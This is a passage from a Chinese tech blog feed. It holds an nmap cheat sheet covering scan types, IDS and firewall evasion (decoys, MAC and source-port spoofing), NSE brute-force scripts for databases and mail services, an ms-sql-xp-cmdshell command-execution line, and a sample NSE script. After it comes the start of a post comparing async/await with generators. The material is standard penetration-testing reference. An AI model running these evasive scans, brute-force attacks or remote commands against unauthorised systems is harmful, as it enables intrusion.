<h1 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 时序选择,从0到5,侵入性增加</span></span><br><span class="line">nmap -T0-5</span><br><span class="line"><span class="comment"># 端口排序扫描,不随机端口</span></span><br><span class="line">nmap -r</span><br><span class="line"><span class="comment"># 指定端口</span></span><br><span class="line">nmap -p 445</span><br><span class="line"><span class="comment"># 端口,协议指定</span></span><br><span class="line">nmap -p T:22,U:445</span><br><span class="line"><span class="comment"># 扫描nmap-services中的1000个端口,也可以--data-dir指定service文件</span></span><br><span class="line">nmap -F</span><br><span class="line"><span class="comment"># 指定1000端口中的前100个</span></span><br><span class="line">nmap --top-ports 100</span><br><span class="line"><span class="comment"># 扫描一定概率以上的端口</span></span><br><span class="line">nmap --port-ratio</span><br><span class="line"><span class="comment"># 全端口扫描</span></span><br><span class="line">nmap --allports</span><br><span class="line"><span class="comment"># TCP Connect</span></span><br><span class="line">nmap <span class="_">-s</span>T</span><br><span class="line"><span class="comment"># TCP SYN</span></span><br><span class="line">nmap <span class="_">-s</span>S</span><br><span class="line"><span class="comment"># TCP ACK 不能判断端口是否打开,只能判断是否过滤</span></span><br><span class="line">nmap <span class="_">-s</span>A</span><br><span class="line"><span class="comment"># TCP 窗口扫描</span></span><br><span class="line">nmap <span class="_">-s</span>W</span><br><span class="line"><span class="comment"># TCP Maimon</span></span><br><span class="line">nmap <span class="_">-s</span>M</span><br><span class="line"><span class="comment"># 自定义TCP flags</span></span><br><span class="line"> --scanflags SYNACKURG</span><br><span class="line"><span class="comment"># UDP</span></span><br><span class="line">nmap <span class="_">-s</span>U</span><br><span class="line"><span class="comment"># 隐蔽</span></span><br><span class="line">nmap <span class="_">-s</span>N / <span class="_">-s</span>F / <span class="_">-s</span>X</span><br><span class="line"><span class="comment"># 空闲扫描,使用僵尸主机迷惑目标</span></span><br><span class="line">nmap <span class="_">-s</span>I www.baidu.com:80 192.168.99.1</span><br><span class="line"><span class="comment"># IP协议扫描,用来确定目标开放了哪些协议</span></span><br><span class="line">nmap <span class="_">-s</span>O</span><br><span class="line"><span class="comment"># FTP Bounce</span></span><br><span class="line">nmap -b</span><br></pre></td></tr></table></figure>
<h1 id="服务及操作系统"><a href="#服务及操作系统" class="headerlink" title="服务及操作系统"></a>服务及操作系统</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 服务识别</span></span><br><span class="line"><span class="_">-s</span>V</span><br><span class="line"> <span class="comment"># 指定识别强度,强度越高,识别越准,消耗时间越长</span></span><br><span class="line"> --version-intensity 0~9</span><br><span class="line"> <span class="comment"># 轻量级扫描,对应 --version-intensity 2</span></span><br><span class="line"> --version-light</span><br><span class="line"> <span class="comment"># 重量级扫描,对应 --version-intensity 9</span></span><br><span class="line"> --version-all</span><br><span class="line"> <span class="comment"># 显示详细版本</span></span><br><span class="line"> --version-trace</span><br><span class="line"><span class="comment"># 判断是否为RPC端口,通常结合其他扫描指令使用</span></span><br><span class="line"><span class="_">-s</span>R</span><br><span class="line"><span class="comment"># 操作系统探测</span></span><br><span class="line">-O</span><br><span class="line"> <span class="comment"># 仅对具有打开或关闭端口的主机探测操作系统</span></span><br><span class="line"> --osscan-limit</span><br><span class="line"> <span class="comment"># 无法准确识别的时候,从最接近的数据中大胆猜测</span></span><br><span class="line"> --osscan-guess / --fuzzy</span><br></pre></td></tr></table></figure>
<h1 id="优化扫描"><a href="#优化扫描" class="headerlink" title="优化扫描"></a>优化扫描</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 调整并行扫描组的大小</span></span><br><span class="line">--min-hostgroup 30 192.168.99.1/24</span><br><span class="line">--max-hostgroup 30 192.168.99.1/24</span><br><span class="line"><span class="comment"># 调整探测报文并行度</span></span><br><span class="line">--min-parallelism 100</span><br><span class="line">--max-parallelism 1</span><br><span class="line"><span class="comment"># 调整探测报文超时时间,单位毫秒,一般max范围100-1000ms</span></span><br><span class="line">--min-rtt-timeout 100ms</span><br><span class="line">--max-rtt-timeout 1000ms</span><br><span class="line">--initial-rtt-timeout 1000ms</span><br><span class="line"><span class="comment"># 放弃响应缓慢的主机</span></span><br><span class="line">--host-timeout 100ms</span><br><span class="line"><span class="comment"># 调整探测报文的时间间隔</span></span><br><span class="line">--scan-delay 1s</span><br><span class="line">--max-scan-delay 30s</span><br></pre></td></tr></table></figure>
<h1 id="绕过-IDS,Firewalls"><a href="#绕过-IDS,Firewalls" class="headerlink" title="绕过 IDS,Firewalls"></a>绕过 IDS,Firewalls</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 报文分段</span></span><br><span class="line"><span class="_">-f</span></span><br><span class="line"><span class="comment"># 指定偏移大小,需要为8的倍数</span></span><br><span class="line">--mtu 16</span><br><span class="line"><span class="comment"># 指定虚假IP,在版本探测和TCP扫描时无效</span></span><br><span class="line">-D ip1,ip2</span><br><span class="line"> <span class="comment"># 随机生成</span></span><br><span class="line"> -D RND:11</span><br><span class="line"><span class="comment"># 源地址欺骗,同空闲扫描</span></span><br><span class="line"><span class="_">-s</span>I</span><br><span class="line"><span class="comment"># 源端口欺骗</span></span><br><span class="line">--source-port 53</span><br><span class="line">-g 53</span><br><span class="line"><span class="comment"># 指定发包长度,通常TCP 40Bytes,ICMP ECHO 28Bytes</span></span><br><span class="line">--data-length 30</span><br><span class="line"><span class="comment"># 目标主机随机排序</span></span><br><span class="line">--randomize-hosts</span><br><span class="line"><span class="comment"># MAC 地址欺骗</span></span><br><span class="line">--spoof-mac</span><br><span class="line"> <span class="comment"># 随机指定</span></span><br><span class="line"> --spoof-mac 0</span><br><span class="line"> <span class="comment"># 从指定厂商生成一个</span></span><br><span class="line"> --spoof-mac huawei</span><br></pre></td></tr></table></figure>
<h1 id="NSE-脚本"><a href="#NSE-脚本" class="headerlink" title="NSE 脚本"></a>NSE 脚本</h1><p><a href="https://nmap.org/book/nse-usage.html" target="_blank" rel="external">官方脚本用法</a></p>
<p><a href="https://nmap.org/nsedoc/scripts/" target="_blank" rel="external">官方所有脚本</a></p>
<h2 id="基础"><a href="#基础" class="headerlink" title="基础"></a>基础</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 显示脚本帮助</span></span><br><span class="line">--script-help</span><br><span class="line"> <span class="comment"># 显示某个分类所有脚本的帮助信息</span></span><br><span class="line"> --script-help intrusive | less</span><br><span class="line"><span class="comment"># 脚本目录增加脚本后更新数据库</span></span><br><span class="line">--script-updatedb</span><br><span class="line"><span class="comment"># debug</span></span><br><span class="line">--script-trace</span><br><span class="line"><span class="comment"># 批量运行多个脚本</span></span><br><span class="line"> <span class="comment"># 运行指定分类的所有脚本, 所有分类:auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln</span></span><br><span class="line"> --script default,safe,myscripts <span class="comment"># myscripts是自定义的脚本目录</span></span><br><span class="line"> <span class="comment"># 执行default分类的脚本</span></span><br><span class="line"> <span class="_">-s</span>C</span><br><span class="line"> <span class="comment"># 执行所有仅用于 host,不依赖于端口的 default 分类的脚本</span></span><br><span class="line"> -sn <span class="_">-s</span>C</span><br><span class="line"> <span class="comment"># 运行所有非 intrusive 分类的脚本, intrusive 是一些比较危险的侵入式脚本</span></span><br><span class="line"> --script <span class="string">"not intrusive"</span></span><br><span class="line"> <span class="comment"># 运行以 http 开头的脚本</span></span><br><span class="line"> --script <span class="string">"http-*"</span></span><br><span class="line"> <span class="comment"># 复杂组合</span></span><br><span class="line"> --script <span class="string">"(default or safe or intrusive) and not http-*"</span></span><br></pre></td></tr></table></figure>
<h2 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 获取地理位置,对CDN无效</span></span><br><span class="line">--script ip-geolocation-*</span><br><span class="line"><span class="comment"># whois</span></span><br><span class="line">--script whois-domain</span><br><span class="line">--script whois-ip</span><br><span class="line"><span class="comment"># 搜集EMAIL,默认会对端口扫描,所以时间较长,如果不想端口扫描,使用-p指定一个端口</span></span><br><span class="line">--script http-grep</span><br><span class="line"><span class="comment"># IP反查域名,都是请求在线服务查询</span></span><br><span class="line">--script hostmap-bfk / hostmap-rotex / hostmap-crtsh</span><br><span class="line"><span class="comment"># DNS查询</span></span><br><span class="line"> <span class="comment"># 暴力破解</span></span><br><span class="line"> --script dns-brute --script-args dns-brute.threads=10</span><br><span class="line"> <span class="comment"># zone transfer测试</span></span><br><span class="line"> --script dns-zone-transfer --script-args dns-zone-transfer.domain=<domain>,dns-zone-transfer.server=<dnsserver></span><br><span class="line"> --script dns-zone-transfer --script-args <span class="string">"dns-zone-transfer.domain=vulhub.org"</span> -Pn -p 53 localhost</span><br><span class="line"><span class="comment"># 检索信息系统</span></span><br><span class="line">--script membase-http-info</span><br><span class="line"><span class="comment"># HTTP headers</span></span><br><span class="line">-p 80 --script http-headers</span><br><span class="line"><span class="comment"># 目录结构探测</span></span><br><span class="line">--script http-sitemap-generator</span><br><span class="line"><span class="comment"># SSL</span></span><br><span class="line">-p 443 --script ssl-enum-ciphers</span><br><span class="line"><span class="comment"># SSH</span></span><br><span class="line">-p 22 --script ssh-hostkey</span><br></pre></td></tr></table></figure>
<h2 id="漏洞测试"><a href="#漏洞测试" class="headerlink" title="漏洞测试"></a>漏洞测试</h2><h3 id="SMB"><a href="#SMB" class="headerlink" title="SMB"></a>SMB</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">--script smb-security-mode -p 445</span><br><span class="line">--script smb-check-vulns -p 445</span><br><span class="line"><span class="comment"># 暴力破解</span></span><br><span class="line">--script smb-brute -p 445</span><br></pre></td></tr></table></figure>
<h3 id="web-漏洞"><a href="#web-漏洞" class="headerlink" title="web 漏洞"></a>web 漏洞</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># XSS</span></span><br><span class="line">--script http-stored-xss</span><br><span class="line"><span class="comment"># SQLI</span></span><br><span class="line">--script http-sql-injection</span><br><span class="line"><span class="comment"># HTTP brute</span></span><br><span class="line">--script http-brute</span><br><span class="line"><span class="comment"># wordpress brute</span></span><br><span class="line">--script http-wordpress-brute --script-args userdb=user.txt,passdb=pass.txt,http-wordpress-brute.threads=10</span><br><span class="line"><span class="comment"># joomla brute</span></span><br><span class="line">--script http-joomla-brute</span><br><span class="line"><span class="comment"># git 泄露</span></span><br><span class="line">--script http-git</span><br><span class="line"><span class="comment"># 备份文件查找</span></span><br><span class="line">--script http-backup-finder</span><br></pre></td></tr></table></figure>
<h3 id="SNMP"><a href="#SNMP" class="headerlink" title="SNMP"></a>SNMP</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SNMP信息泄露</span></span><br><span class="line"><span class="_">-s</span>U -p 161 --script snmp-win32-services / snmp-win32-shares / snmp-win32-users / snmp-win32-software</span><br><span class="line"><span class="comment"># 网络状态</span></span><br><span class="line">-p 161 --script snmp-netstat</span><br><span class="line"><span class="comment"># 系统进程</span></span><br><span class="line">-p 161 --script snmp-processes</span><br><span class="line"><span class="comment"># 暴力破解</span></span><br><span class="line">-p 161 --script snmp-brute</span><br></pre></td></tr></table></figure>
<h3 id="MYSQL"><a href="#MYSQL" class="headerlink" title="MYSQL"></a>MYSQL</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># MYSQL 如果不指定用户名密码,会使用 mysql-brute, mysql-empty-password发现的</span></span><br><span class="line">--script mysql-databases --script-args mysqluser=root,mysqlpass=root</span><br><span class="line"> <span class="comment"># 弱口令探测</span></span><br><span class="line"> --script mysql-brute</span><br><span class="line"> <span class="comment"># 空密码探测</span></span><br><span class="line"> --script mysql-empty-password</span><br><span class="line"> <span class="comment"># 列举变量</span></span><br><span class="line"> --script mysql-variables</span><br><span class="line"> <span class="comment"># 安全配置审计</span></span><br><span class="line"> --script mysql-audit --script-args mysql-audit.username=root, mysql-audit.password=root, mysql-audit.filename=<span class="string">'nselib/data/mysql-cis.audit'</span></span><br></pre></td></tr></table></figure>
<h3 id="ORACLE"><a href="#ORACLE" class="headerlink" title="ORACLE"></a>ORACLE</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># ORACLE 暴力破解</span></span><br><span class="line">-p 1521 --script oracle-brute --script-args oracle-brute.sid=<span class="built_in">test</span>,userdb=user.txt,passdb=pass.txt</span><br></pre></td></tr></table></figure>
<h3 id="MSSQL"><a href="#MSSQL" class="headerlink" title="MSSQL"></a>MSSQL</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># MSSQL 暴力破解</span></span><br><span class="line">-p 1433 --script mssql-brute --script-args userdb=user.txt,passdb=pass.txt</span><br><span class="line"> <span class="comment"># 空密码探测</span></span><br><span class="line"> --script ms-sql-empty-password</span><br><span class="line"> <span class="comment"># 读取数据</span></span><br><span class="line"> --script ms-sql-tables --script-args mssql.username=<span class="string">''</span>,mssql.password=<span class="string">''</span></span><br><span class="line"> <span class="comment"># 命令执行</span></span><br><span class="line"> --script ms-sql-xp-cmdshell --script-args mssql.username=<span class="string">''</span>,mssql.password=<span class="string">''</span>,ms-sql-xp-cmdshell.cmd=<span class="string">'ipconfig'</span></span><br></pre></td></tr></table></figure>
<h3 id="Postgresql"><a href="#Postgresql" class="headerlink" title="Postgresql"></a>Postgresql</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># postgresql 暴力破解</span></span><br><span class="line">-p 5432 --script pgsql-brute</span><br></pre></td></tr></table></figure>
<h3 id="FTP"><a href="#FTP" class="headerlink" title="FTP"></a>FTP</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># FTP 暴力破解</span></span><br><span class="line">-p 21 --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt</span><br><span class="line"><span class="comment"># 匿名访问测试</span></span><br><span class="line">-p 21 --script ftp-anon</span><br></pre></td></tr></table></figure>
<h3 id="POP3"><a href="#POP3" class="headerlink" title="POP3"></a>POP3</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-p 110 --script pop3-brute</span><br></pre></td></tr></table></figure>
<h3 id="SMTP"><a href="#SMTP" class="headerlink" title="SMTP"></a>SMTP</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-p 25 --script smtp-brute</span><br><span class="line">-p 25 --script smtp-enum-users</span><br></pre></td></tr></table></figure>
<h3 id="VNC"><a href="#VNC" class="headerlink" title="VNC"></a>VNC</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-p 5900 --script vnc-brute</span><br><span class="line">-p 5900 --script vnc-info</span><br></pre></td></tr></table></figure>
<h3 id="Redis"><a href="#Redis" class="headerlink" title="Redis"></a>Redis</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--script redis-* -p 6379 -Pn</span><br></pre></td></tr></table></figure>
<h2 id="编写"><a href="#编写" class="headerlink" title="编写"></a>编写</h2><h3 id="元数据"><a href="#元数据" class="headerlink" title="元数据"></a>元数据</h3><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">description = <span class="string">[[</span><br><span class="line">Attempts to find the owner of an open TCP port by querying an auth</span><br><span class="line">(identd - port 113) daemon which must also be open on the target system.</span><br><span class="line">]]</span></span><br><span class="line"></span><br><span class="line">author = <span class="string">"Diman Todorov"</span></span><br><span class="line"></span><br><span class="line">license = <span class="string">"Same as Nmap--See https://nmap.org/book/man-legal.html"</span></span><br><span class="line"></span><br><span class="line">categories = {<span class="string">"default"</span>, <span class="string">"safe"</span>}</span><br></pre></td></tr></table></figure>
<h3 id="Rule"><a href="#Rule" class="headerlink" title="Rule"></a>Rule</h3><table>
<thead>
<tr>
<th>规则</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>prerule()</code></td>
<td>在扫描所有主机之前,运行一次</td>
</tr>
<tr>
<td><code>hostrule(host)</code></td>
<td>扫描每批主机后,将运行,只判断 host</td>
</tr>
<tr>
<td><code>portrule(host, port)</code></td>
<td>扫描每批主机后,将运行,同时判断 host,port</td>
</tr>
<tr>
<td><code>postrule()</code></td>
<td>在扫描所有主机之后,运行一次。</td>
</tr>
</tbody>
</table>
<figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">portrule = <span class="function"><span class="keyword">function</span><span class="params">(host, port)</span></span></span><br><span class="line"> <span class="keyword">local</span> auth_port = { number=<span class="number">113</span>, protocol=<span class="string">"tcp"</span> }</span><br><span class="line"> <span class="keyword">local</span> identd = nmap.get_port_state(host, auth_port)</span><br><span class="line"> <span class="keyword">return</span> identd ~= <span class="keyword">nil</span></span><br><span class="line"> <span class="keyword">and</span> identd.state == <span class="string">"open"</span></span><br><span class="line"> <span class="keyword">and</span> port.protocol == <span class="string">"tcp"</span></span><br><span class="line"> <span class="keyword">and</span> port.state == <span class="string">"open"</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 利用shortport库判断端口和服务</span></span><br><span class="line">portrule = shortport.port_or_service({<span class="number">80</span>, <span class="number">443</span>}, {<span class="string">"http"</span>, <span class="string">"https"</span>})</span><br></pre></td></tr></table></figure>
<h3 id="Action"><a href="#Action" class="headerlink" title="Action"></a>Action</h3><p>主要代码放在<code>Action</code>中</p>
<figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">action = <span class="function"><span class="keyword">function</span><span class="params">(host, port)</span></span></span><br><span class="line"> <span class="keyword">local</span> owner = <span class="string">""</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">local</span> client_ident = nmap.new_socket()</span><br><span class="line"> <span class="keyword">local</span> client_service = nmap.new_socket()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">local</span> catch = <span class="function"><span class="keyword">function</span><span class="params">()</span></span></span><br><span class="line"> client_ident:close()</span><br><span class="line"> client_service:close()</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">local</span> try = nmap.new_try(catch)</span><br><span class="line"></span><br><span class="line"> try(client_ident:connect(host.ip, <span class="number">113</span>))</span><br><span class="line"> try(client_service:connect(host.ip, port.number))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">local</span> localip, localport, remoteip, remoteport =</span><br><span class="line"> try(client_service:get_info())</span><br><span class="line"></span><br><span class="line"> <span class="keyword">local</span> request = port.number .. <span class="string">", "</span> .. localport .. <span class="string">"\r\n"</span></span><br><span class="line"></span><br><span class="line"> try(client_ident:send(request))</span><br><span class="line"></span><br><span class="line"> owner = try(client_ident:receive_lines(<span class="number">1</span>))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">string</span>.match(owner, <span class="string">"ERROR"</span>) <span class="keyword">then</span></span><br><span class="line"> owner = <span class="keyword">nil</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> owner = <span class="built_in">string</span>.match(owner,</span><br><span class="line"> <span class="string">"%d+%s*,%s*%d+%s*:%s*USERID%s*:%s*.+%s*:%s*(.+)\r?\n"</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> try(client_ident:close())</span><br><span class="line"> try(client_service:close())</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> owner</span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<h1 id="通用参数"><a href="#通用参数" class="headerlink" title="通用参数"></a>通用参数</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre
</summary>
<category term="tools" scheme="http://myt0.com/categories/tools/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
</entry>
<entry>
<title>async/await 和 generators 有哪些不同</title>
<link href="http://myt0.com/2020/02/06/async-await-%E5%92%8C-generators-%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%8D%E5%90%8C/"/>
<id>http://myt0.com/2020/02/06/async-await-和-generators-有哪些不同/</id>
<published>2020-02-06T02:56:18.000Z</published>
<updated>2020-02-22T15:53:30.518Z</updated>
<content type="html"><![CDATA[<p>async/await 是 es2017 的重要新特性。async/await 和 es2015 发布的 generators 有很多相似之处。在 <a href="https://stackoverflow.com/questions/36196608/difference-between-async-await-and-es6-yield-with-generators" target="_blank" rel="external">stackoverflow 有很多关于这两者不同之处的提问</a>,其中也有一些不错的回答。<br>如果你用过 <a href="https://www.npmjs.com/package/co" target="_blank" rel="external">co</a> 模块,基于 generator 的代码看起来会很像 async/await。</p>
<p>以下是 async/await 处理 HTTP 请求三次。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> i</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">3</span>; ++i) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">await</span> superagent.get(<span class="string">'http://google.com/this-throws-an-error'</span>)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> } <span class="keyword">catch</span> (err) {}</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">console</span>.log(i) <span class="comment">// 3</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>相同功能的 generator 实现:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> test = co.wrap(<span class="function"><span class="keyword">function</span>*(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> i</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">3</span>; ++i) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">yield</span> superagent.get(<span class="string">'http://bad.domain'</span>)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> } <span class="keyword">catch</span> (err) {}</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">console</span>.log(i) <span class="comment">// 3</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<p>通过观察,你可以写一个将 async/await 转换成 generators 的转换器,原理就是将 <code>async function() {}</code>替换成 <code>co.wrap(function*() {})</code>,将 <code>await</code> 替换为 <code>yield</code>。 所以这两者到底有什么不同?</p>
<h1 id="不同点"><a href="#不同点" class="headerlink" title="不同点"></a>不同点</h1><p>很重要的一点不同是 generators 在 <a href="https://node.green/#ES2015-functions-generators" target="_blank" rel="external">Node.js 4.x 就开始支持</a>,而 <a href="https://node.green/#ES2017-features-async-functions" target="_blank" rel="external">async/await 要求 Node.js >= 7.6.0</a>。不过 Node.js 4.x 早就不再维护,Node.js 6.x 也在 2019 年终止维护, 所以这个不同点现在没那么重要了。</p>
